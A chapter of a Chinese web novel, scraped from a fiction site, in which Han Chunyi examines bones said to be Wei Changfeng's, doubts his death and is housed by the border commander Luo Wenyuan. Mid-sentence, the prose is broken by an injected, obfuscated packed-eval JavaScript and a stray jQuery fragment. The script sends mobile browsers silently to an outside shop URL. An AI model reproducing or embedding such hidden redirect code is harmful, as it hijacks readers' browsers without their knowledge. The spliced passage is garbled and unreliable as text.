文趣网 > 其他小说 > 关山欲雪 > 36.七星镇
    开棺验尸被视为对死者的不尊重。但卫郎君之死的确有无法确认的地方,驼队的兄弟们虽然都略觉不妥,还是顺从地听韩春意的命令,四人合力打开了棺材盖子。

    韩春意从听到他的死讯时便已开始想象这个场景,此时想象变为现实,心里的悲痛反倒少了许多。

    随着四人合力把棺盖推开,映入眼帘的首先是衣裳的碎片,是他走的那日所穿的月白襕袍,其上精美的织锦还清晰可见。布帛遮掩之下,能隐约看见一些人骨。

    韩春意伸手拨开面上的碎布,看见的是一具灰白骨架,多处破碎、断裂,扭曲变形,头骨也不完整,看上去的确死相狼狈。

    “怎么只有一具骨头?他的尸体呢?”

    一旁的肖斌面色难看,回答道:“卫郎君摔进风沟时,我们还在和匪贼缠斗,商队且战且逃,奔出去二十里路才彻底甩开那些豺狼。弟兄们刚喘上一口气,我便领了三个弟兄回到红霞沟,准备下到沟中找寻卫郎君的尸体。”

    “风沟陡峭,下沟不仅危险,难度也极大。我们四人光在上面想办法、准备绳子等,便耽误了不少时间。待真正下到沟中的时候,已经那日的后半夜了。”

    “红霞沟附近有野兽出没,我们三人找到卫郎君的尸体时,已经被狼群吃得一干二净,只剩下一些衣物的碎片,和这具白骨。”

    韩春意听他描述,只觉得心中有万千蚂蚁啃噬,痛的她咬紧了牙关。她沉声开口问道:“所以,其实你们也不能确定那就是卫长风?”

    肖斌摇摇头,又点点头:“我们确实没有看见卫郎君完整的尸首,可是这骨骼年龄和长度都符合……”

    他说到这里,顿了一下,想起什么似的,转身从大殿的柱子后面拿出一张断掉的弓来:“而且,我们也在沟底找到了卫郎君的长弓。”

    长弓已然被摔碎,只剩下一半残骸,但看那木料、雕刻、配饰,的确是卫长风钟爱的那一把。

    这把长弓是他学成后,韩春意找当时凉州最好的工匠为他定做的。她说以他的箭术,就要配这世界上最好的弓。后来他便对这弓爱不释手,只要外出便把这弓随身背着。

    她接过一半残弓,终于忍不住落下泪来。一旁的兄弟看她伤心,想着往日和卫长风出生入死的点点滴滴,亦心有戚戚。一时间殿中弥漫着悲伤的气氛,让人不禁跟着红了眼眶。

    韩春意不过放任眼泪流了片刻,便抬手擦去泪滴:“商队遭抢劫,伤亡和损失如何?”

    听她这一问,回话的肖斌也跟着皱起了眉头:“主君,这正是我想向您回禀的。说来奇怪,那伙匪贼像是针对卫郎君来的,郎君跌进风沟后,他们便减弱了攻势,只是一直追着我们缠斗。最后也没抢走多少财物。我们事后清点,只有二人轻伤,少了一匹骆驼。”

    这话让韩春意灵光一闪,又回想起卫长风出发那日对她说的话。

    她记得很清楚,他问她想不想留在凉州,或者跟他去西域。

    留在凉州,去西域……

    她心里默念着这两句话,结合这具辨不出身份的白骨,还有土匪奇怪的抢劫方式。这一切串联在一起,简直疑窦丛生。

    她不禁皱起了眉头。

    肖斌和驼队兄弟都觉得生死事大,眼下最要紧的事情是如何处理这具尸骨。

    韩春意心中有太多疑惑没有解开,略一思索,便对他们道:“你们先带着棺材回凉州,让钟叔找个风水好些的地方,把这尸骨安葬了。先不要立碑,后面的事情,等我回来再议。”

    “主君不跟我们一起回去吗?”

    韩春意摇摇头:“我还有一些事情要查证。”

    肖斌脸上流露出为难的神色:“可是我们也不放心主君一个人留在这啊……”

    “别担心,我自有我的办法。河西就要不太平了,你们立刻启程,大概还能在乱起来之前回到凉州城。”

    四个大汉听了她的话,都面面相觑,他们从没见过胆子这么大、这么有成算的小娘子,实则还是不太相信她的话,担忧着她的安危。

    “河西要生乱,那主君更不能一个人留下来了。”

    韩春意从袖中取出一锭银子,递给为首的肖斌:“肖大哥,我知道你们忠心耿耿,既把我当主君,便真心实意替我考虑,你们的这份心,我很是感激。”

    “只是,我还是觉得卫长风之死有蹊跷。你们也知道我和他的关系,说他是我在这世上最后的至亲也不为过。如果不把他的死弄清楚,我必定会遗憾终生。”

    “这银子是你们回凉州的路费,抬棺还需要人手,你们再雇几个人。本来你们这趟该得的走商的钱,回去找钟叔支取。”

    四人眼见话说到这份上,都明白自家主君是重情重义之人,连对他们的安排也如此细致周到,也不再反驳。肖斌接过银子,郑重地点了点头:“好,我们听主君的。”

    “嗯。”

    韩春意把事情都安排好,又帮着他们去七星镇找能跟着回凉州的人手,忙活了一个上午,才在七星镇的城门口将四人送走。

    程知节安排的传话的兵士一直跟在她身旁,见她忙完,开口想问问她的去处,好看自己后面如何安排。

    此时不远处走来一队军士,神色严肃,在韩春意跟前停下。为首的人浓眉大眼,气宇轩昂,看起来还没被边地风霜摧残太久,扬声问她:“请问是韩春意韩娘子吗?”

    韩春意看这架势,皱起了眉头,她上次见这种场面,还是在长安时羽林卫在街上抓人。

    “我是,怎么了?”

    “罗镇守使有请,请您跟我们走一趟。”

    连这拿人的话术都一样,韩春意不由得谨慎起来。镇守使是军镇的军事长官,难道她刚到人家的地盘就把人得罪了?

    还是一直跟在他身后的兵士开口提示:“罗镇守使是程将军的朋友,这些人应当是程将军让罗镇守使安排的。”

    这就对了,韩春意刚提起来的心又放下,对着来人点了点头:“好,我跟你们走。”又从袖中取了些碎银给身边的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790046|205692||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    兵士:“你先回去吧。”

    那兵士摇摇头,对他露出个灿烂的笑:“帮程将军的忙,我荣幸还来不及,不敢收娘子的钱。”说着摆摆手,转身便走了。

    韩春意想叫他,又不知道对方的名姓,只好作罢。回头看见身后的一队士兵正全神贯注、目不转睛地盯着她,不由得感觉有些头疼。

    这阵仗还是太大了些吧?她可不能每天让这么多人跟在身后。

    心中这样想着,没走多久便到了罗镇守使的府邸。这里地处边陲,镇守的房子也不会有多么华丽的雕镂和装饰,比起普通百姓家,只是多了两个院落,地方大一些而已。

    罗镇守使年纪不大,看起来只有三十来岁,人生得倒是周正,只是身材有些矮小。韩春意看他向自己走近,才发现原来他跛了一只足,不良于行。

    韩春意收回目光,恭敬地行了个见面礼:“小女子见过罗镇守使。”

    “快免礼,这可使不得。”对面的守将赶紧将她扶起来。

    罗文元是程知节从军之初便结识的好友,他们一同在战场上拼杀时,程知节曾经救过他的命。

    如今,从来没有求过他任何事的好友,突然托付给他这么个花容月貌的小娘子,他还不得好生照顾着,哪敢让她向他行礼呢?

    罗文元一边向她说明情况,一边带着她向内院走去:“六郎已同我说过了。小娘子在七星镇期间,吃穿住行由我一应负责,若是外出,我还会给你安排一队人马保护。小娘子便放心在这里住下吧,若是此地生乱,我会派人送你回凉州。”

    韩春意有些不好意思:“在府上叨扰便罢了,哪还敢让镇守使为我分出兵力呢?其实我有自己的暗卫,镇守不必特殊照顾我。”

    罗文元听说她有暗卫,心中对着小娘子身份的疑惑又多了一层:这看起来非富即贵的少女,怎么会在这种时候出现在边关?

    他面上不显,打算之后再询问程知节。

    “友人相托,某不敢辜负,小娘子还是听六郎的安排吧。”

    两人是第一次见面,韩春意也不好跟对方争辩,只能先点点头,打算后面再想办法搪塞过去。说话间二人已经来到了府邸最里间的院落,一个女子立在院门前,似正在等他们。

    罗文元上前,执起那女子的手,微笑着对韩春意道:“这位是我夫人,你在生活上有何要求,尽管找她提便是。”

    “罗夫人好。”

    对面的女子见来的是个面皮娇滴滴的小娘子,先是疑惑了一瞬。随即看她举止仪态都是一等一的好,便也笑开了眼:“瞧,多乖的丫头,你跟着程知节,叫我嫂子便是。”

    说罢,笑盈盈上前来牵她的手:“来,嫂子带你去看房间,咱们想住哪间住哪间。”

    韩春意看这女子穿衣打扮都十分素雅,本以为她是个娴静的性子,没想到竟如此外放,一时间稍微有点不适应:“哦…好的,嫂子。”

    罗文元看自家夫人把人带走,笑眯眯地离开了后院,任她二人选房间去了。